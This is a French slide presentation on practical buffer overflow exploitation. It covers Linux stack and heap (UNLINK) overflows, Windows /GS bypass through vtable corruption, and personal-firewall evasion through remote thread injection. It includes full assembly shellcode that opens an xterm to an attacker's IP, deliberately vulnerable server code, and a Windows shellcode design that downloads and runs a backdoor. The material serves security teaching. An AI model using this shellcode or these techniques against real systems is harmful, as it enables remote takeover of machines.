550 likes | 803 Views
Démonstrations pratiques de buffer overflows. Ou la compromission d’un système par une simple erreur de programmation. Introduction. Buffer overflows ne sont statistiquement pas les failles les plus exploitées . Mais failles parmi les plus célèbres Célébrité vient de leur portée :
E N D
Démonstrations pratiquesde buffer overflows Ou la compromission d’un système par une simple erreur de programmation
Introduction • Buffer overflows ne sont statistiquement pas les failles les plus exploitées. • Mais failles parmi les plus célèbres • Célébrité vient de leur portée : • En terme de compromission de la machine vulnérable • En terme de propagation au sein d’un réseau • Puissance des attaques virales sasser et msblast qui combinaient ces deux caractéristiques -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Données Introduction: principe des BOFs • Les buffer overflows, un principe simple et très connu Donnée Adresses croissantes Zone reservée • Conséquences multiples: • Modification du comportement • Déni de service • Exécution de code arbitraire -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Objectif de l’étude • Principe connu mais mécanismes rarement décortiqués Possibilités réelles ? Difficultés rencontrées ? • Objectif de cette étude: Présenter des exemples concrets d’exploitation de buffer overflows pour donner un aperçu des réponses • Cadre: • Exploitations de cas d’écoles et non de cas réels • Mais exploitations de serveurs donc distantes • But: Par écrasement de zones mémoires, rediriger l’exécution vers un code injecté qui permettra l’ouverture d’un shell sur la machine distante. -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Plan • Rappels: stack et heap • Exploitation sous Linux • Écriture d’un shellcode pour Linux • Exploitation d’un Stack overflow avec shellcode before • Exploitation d’un Heap Overflow • Exploitation sous Windows • Écriture d’un shellcode pour Windows • Stack overflow sur serveur compilé Visual 6.0 (option /GZ) • Stack overflow sur serveur compilé Visual .net (option /GS) • Corruption de VTABLES: Les limites de l’option /GS • Cas des équipements de filtrages • L’injection de code: Contournement du firewall personnel • Conclusion -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Rappels: Stack et Heap Plan: Définitions Exemple pratique
Stack Adresses croissantes Heap Définitions • Stack et Heap • Stack (pile) = Variable locale, paramètres,… • Heap (tas) = Allocation dynamique d’objets (malloc, new) • En mémoire -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Exemple pratique • Code appel de fonction void myFunc(intparam) { intlocal; int *p=new char[50]; … } … myFunc(10); Param Adresse retour Entête fct local p Retour: - restauration de la pile - instruction « ret » char [50] -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Buffer overflow sous Linux Plan: Écriture d’un shellcode pour Linux Exploitation d’un Stack overflow avec shellcode before Exploitation d’un Heap Overflow
Shellcode Redirection vers shellcode Écriture d’un shellcode (1) • Définition « Shellcode » => Code injecté, vers lequel l’exécution est redirigé et qui effectue une opération compromettant le système (ici, ouverture de shell distant) • Injection de ce code dans la mémoire du processus attaqué peut se faire de différentes manières. • La plus classique: dans le buffer qui provoque le débordement. • Buffer envoyé: -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Écriture d’un shellcode (2) • Dans notre cas: shellcode=xterm en export DISPLAY BOF Service vulnérable Attaquant xterm avec ENV: DISPLAY=@IP:0.0 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Remplace X par \0 Utilisation de int pour exécution Gestion de la relocalisation Écriture d’un shellcode (3) • Code du shellcode (~80 bytes) jmp getaddr function: popl %ebx /* Recupere adresse de la commande */ xor %eax, %eax movb %al, 0x14(%ebx) movb %al, 0x30(%ebx) pushl %eax /* push NULL */ lea 0x15(%ebx), %ecx pushl %ecx /* push @ variable d'env DISPLAY */ movl %esp, %edx /* Load @ tableau env dans edx */ pushl %eax /* push NULL */ pushl %ebx /* push @ de la commande */ movl %esp, %ecx /* Load @ tableau dans ecx */ movb $0xb, %al int $0x80 getaddr: call function .shell_string: .string \"/usr/X11R6/bin/xtermXDISPLAY=192.168.000.002:0.0X\" /* le X a remplacer par un 0 */ -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
MAX_MSG < strlen(Message…\n)+ MAX_MSG Exemple de Stack overflow (1) • Présentation du serveur • Serveur écoute sur le port 1500 • Affiche la chaîne renvoyée précédée de « Message from remote client : » void printMsg(char *szBuffer) { char szMsg[MAX_MSG]; sprintf(szMsg, "Message from remote client :%s\n", szBuffer); printf(szMsg); } int main (int argc, char *argv[]) { … while((n = read(newSocketfd, szBuffer, MAX_MSG)) > 0) { printMsg(szBuffer); } … } -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
@ szBuffer @ szBuffer @ retour @ retour ebp ebp szMsg Données Exemple de Stack overflow (2) • Principe de l’exploitation Écrase @retour sprintf => Quelle est la structure des données envoyées ? -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
@ szBuffer @ szMsg Adresse retour SHELLCODE ebp szMsg ret NOP • Taille du shellcode limitée • Pas d’octets nul • @ buffer inconnue Exemple de Stack overflow (3) • Structure des données envoyées -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Problèmes des Heap Overflow • Débordement de buffer dans des zones allouées dynamiquement possible, mais exploitabilité ? • Exploitation de stack overflow facile car stack contient une zone mémoire chargée dans eip • Mais ce n’est pas le cas de heap (sauf cas particuliers) => Exploitation impossible ? • Illustration de la technique de la macro UNLINK décrite par Solar Designer -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
L’algorithme de Doug Lea (1) • Portions de mémoires allouées gérées dans des chunks … … chunk N+1 prev_size prev_size data free BK chunk N FD size size prev_size prev_size -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
L’algorithme de Doug Lea (2) • Lors de la libération: • Test si chunk suivant libre • Si libre, l’enlève de la liste doublement chaînée. • Concatène les deux chunks • Pour enlever le bloc de la liste chaînée l’algorithme utilise la macro UNLINK: #define unlink( P, BK, FD ) { \ BK = P->bk; \ [1] FD = P->fd; \ [2] FD->bk = BK; \ [3] BK->fd = FD; \ [4] } -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Le débordement: principe • En cas de débordement: data data chunk N+1 Ecrasement du chunk N+1 size size prev_size prev_size sprintf data data chunk N size size prev_size prev_size -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Le débordement: exploitation • Lors de l’appel à free sur chunk N, si chunk N+1 libre, appel de UNLINK #define unlink( P, BK, FD ) { \ BK = P->bk; \ [1] FD = P->fd; \ [2] FD->bk = BK; \ [3] BK->fd = FD; \ [4] } • Or valeur de FD et BK contrôlé car pointeurs écrasés => Possibilité d’écriture d’un DWORD de notre choix à l’adresse de notre choix • En pratique, écrasement d’une adresse de fonction dans le GOT avec l’adresse de notre buffer -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Exemple de Heap Overflow (1) • Présentation du serveur Simple serveur accepte commande login, note le nom utilisateur et des infos sur la connexion. • Code typedef struct { time_t connectTime; } CONNEXION; -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
200 < 1500 Exemple de Heap Overflow (2) void processData(int newSocketfd, char *szBuffer) { char *p; CONNEXION *c; if(szBuffer[0] == CMD_USER) // La commande recu est un login { // Alloue un buffer de taille SZ_USERNAME et une structure CONNEXION p=(char *) malloc(SZ_USERNAME*sizeof(char)); c=(CONNEXION *) malloc(sizeof(CONNEXION)); // Rempli les structures c->connectTime=time(); sprintf(p,"%s login\n", &szBuffer[1]); // Renvoie la reponse au client if(write(newSocketfd, p, strlen(p)) < 0) error("ERROR writing to socket"); // Libere la memoire free(p); free(c); } -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
prev_size size data prev_size size data prev_size size data fake p_s fake size FD data BK prev_size size FD data BK fake p_s 0xfffffffc data FD BK • GOT: @ malloc @ exit @ free Principe de l’exploitation • Avant sprintf • Après sprintf • Après free(p) • Appel de free(c) => saut dans shellcode -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Exploitation sous Windows Plan: Écriture d’un shellcode pour Windows Stack overflow sur serveur compilé Visual 6.0 (option /GZ) Stack overflow sur serveur compilé Visual .net (option /GS) Corruption de VTABLES: Les limites de l’option /GS L’injection de code: Contournement du firewall personnel
Introduction • Buffer overflow sous Windows sujet moins couvert par documentation sur Internet • Pourtant, Msblast ou Sasser montre l’importance et la gravité du phénomène -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Écriture d’un shellcode (1) • Sous Linux, écriture de shellcode très facile: • Lancement d’un programme via instruction INT 80h • Programmes orientés réseau (xterm en remote display) • Sous Windows: API « INT 2Eh » très limitée. • Implications => Nécessité d’utiliser des API de plus haut niveaux (DLL) => Nécessité de charger les DLL => Nécessité d’accéder à certaines fonctions (LoadLibrary) => Nécessité d’avoir l’adresse de kernel32.dll • Problèmes: • Adresse de kernel32.dll varie d’une version à une autre • Taille du code augmente considérablement -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Écriture d’un shellcode (2) • Deux contraintes: • Shellcode doit être capable de retrouver @ de kernel32.dll • Shellcode doit rester de taille raisonnable • Principe du shellcode • Récupération de l’adresse de kernel32.dll (PEB) • Récupération de l’adresse de GetProcAdress() (Parse export directory) • Appel de GetProcAdress(@kernel32.dll, "LoadLibrary") • Appel de LoadLibrary("urlmon.dll") • Appel de GetProcAdress(@urlmon.dll, "URLDownloadToFile") • Contact faux serveur web et télécharge BackDoor • Exécute la BackDoor -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Écriture d’un shellcode (3) • Principe de l’exécution du shellcode BOF Service vulnérable Attaquant Fake web server backdoor (a.exe) -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
BUFFER_SIZE < strlen(Welcome…)+ BUFFER_SIZE Exemple de Stack Overflow • Présentation du serveur int vulnFunc(SOCKET clientSocket, char *msg) { char answer[BUFFER_SIZE]; char *p; int i; bzero(answer); p=msg; i=0; while((msg[i] != ' ') && (i<BUFFER_SIZE)) i ++; if(msg[i] != ' ') return -1; sprintf(answer, "Welcome to ghorg0re/3ey's server %s\r\n", &msg[i+1]); if(send(clientSocket, answer, strlen(answer), 0) == SOCKET_ERROR) return -1; return 0; } -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Cas de Visual 6.0: Option /GZ -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
@ret ebp security_cookie answer p i Cas de Visual .net: Option /GS • Header de la fonction 00411C70 push ebp 00411C71 mov ebp,esp 00411C73 sub esp,274h 00411C79 push ebx 00411C7A push esi 00411C7B push edi 00411C7C lea edi,[ebp-274h] 00411C82 mov ecx,9Dh 00411C87 mov eax,0CCCCCCCCh 00411C8C rep stos dword ptr [edi] 00411C8E mov eax,dword ptr [___security_cookie] 00411C93 mov dword ptr [ebp-4],eax -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Cas de Visual .net: Option /GS • Fin de la fonction 00411D53 push edx 00411D54 mov ecx,ebp 00411D56 push eax 00411D57 lea edx,ds:[411D80h] 00411D5D call @ILT+430(@_RTC_CheckStackVars@8) (4111B3h) 00411D62 pop eax 00411D63 pop edx 00411D64 mov ecx,dword ptr [ebp-4] 00411D67 call @ILT+140(@__security_check_cookie@4) (411091h) 00411D6C pop edi 00411D6D pop esi 00411D6E pop ebx 00411D6F add esp,274h 00411D75 cmp ebp,esp 00411D77 call @ILT+995(__RTC_CheckEsp) (4113E8h) 00411D7C mov esp,ebp 00411D7E pop ebp 00411D7F ret -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Rappel sur les VTABLES (1) • Exemple de statique code => Génération de code statique pour l‘appel -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Rappel sur les VTABLES (2) • Limites de la compilation statique => Utilise les fonctions virtuelles résolues à l’exécution • En mémoire Membres @ Func 3 Objet @ Func 2 Pointeur table virtuelle @ Func 1 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Rappel sur les VTABLES (3) • Exemple de code dynamique -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
int b int b Objet 2 int a int a @ table virtuelle @ table virtuelle szBuffer szBuffer sprintf Objet 1 @ table virtuelle @ table virtuelle Conséquences • Le Heap contient ici un pointeur vers une table de fonctions => Redirection du flux d’exécution possible • Avantage: Redirection se fait lors appel à une fonction membre de l’objet 2 => Avant toutes vérifications • Inconvénient: On écrase un pointeur d’adresses -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Exemple de Heap Overflow (1) • Code du serveur class Connexion { char szUser[SZ_USER]; char szData[SZ_DATA]; public: Connexion(void) {bzero(szData);bzero(szUser);}; virtual void setszUser(char *szInput){sprintf(szUser, "USER=%s", szInput);}; virtual char *getszUser(void){return szUser;}; virtual void setszData(char *szInput){sprintf(szData, "DATA=%s", szInput);}; virtual char *getszData(void){return szData;}; }; class LogData { public: virtual void logszData (char *szData) {printf("[TRACE] %s\n", szData);}; }; -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Exemple de Heap Overflow (2) • Code du serveur int processData(SOCKET clientSocket, Connexion *pConnexion, LogData *pLogData, char *szData) { char msgToLog[SZ_LOG]; if(szData[0] == CODE_USER) { pConnexion->setszUser(&szData[1]); sprintf(msgToLog, "Login user: %s",pConnexion->getszUser()); if(send(clientSocket, MSG_USER, strlen(MSG_USER), 0) == SOCKET_ERROR) return -1; } else if(szData[0] == CODE_DATA) { pConnexion->setszData(&szData[1]); sprintf(msgToLog, "Data sent: %s",pConnexion->getszData()); if(send(clientSocket, MSG_DATA, strlen(MSG_DATA), 0) == SOCKET_ERROR) return -1; } pLogData->logszData(msgToLog); return 0; } -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
SHELLCODE Exemple de Heap Overflow (3) • En mémoire: pLogData @ table virtuelle szData pConnexion szUser @szData @ table virtuelle • Exploitation en deux temps: • Envoi d’un faux user pour constituer @szData • Ecrasement de la VTABLES de pLogData avec @szUser -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Conclusion partie Windows • Étude montre les difficultés d’écriture de shellcode sous Windows • Mais l’exploitation de cas d’école reste aisée • L’option /GS permet d’éviter l’exploitation de stack overflow simples, mais n’est pas une protection inviolable -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Contournement deséquipements de filtrages Plan: Concepts La protection par FW personnel
Concepts (1) • Exemples précédents ne présentent pas le problème de la communication entre attaquant – backdoor • Cas de Linux: FireWall Attaquant Serveur X Serveur vulnérable xterm avec ENV: DISPLAY=@IP:0.0 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Concepts (2) • Cas de Windows Proxy + Authent BOF Service vulnérable Attaquant Fake web server => Il faut savoir adapter le shellcode à l’architecture du réseau ciblé. A priori, si serveur autorisé connecté à Internet, contournement sera toujours possible -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
La protection par FW personnel • Concept: FW personnel • Application filtrant le trafic entrant et sortant d’une machine • Gère le contrôle d’accès via le concept d’applications: Deux modes sont distingués: client ou serveur Pour chaque mode, une application peut soit être autorisée, soit interdite, soit inconnue. • Une application inconnue de peut pas accéder à Internet => Détection de notrebackdoor • Calcul de checksum empêche simple remplacement => Le FW personnel est-il la solution miracle anti-backdoor ? -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Contournement du FW personnel (1) • Problème est que la gestion des accès se fait au niveau processus et non au niveau du thread • Or Windows offre la possibilité de créer des threads dans une application distante • Technique qui devient très courante. Utilise les fonctions: • VirtualAllocEx • WriteProcessMemory • CreateRemoteThread -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-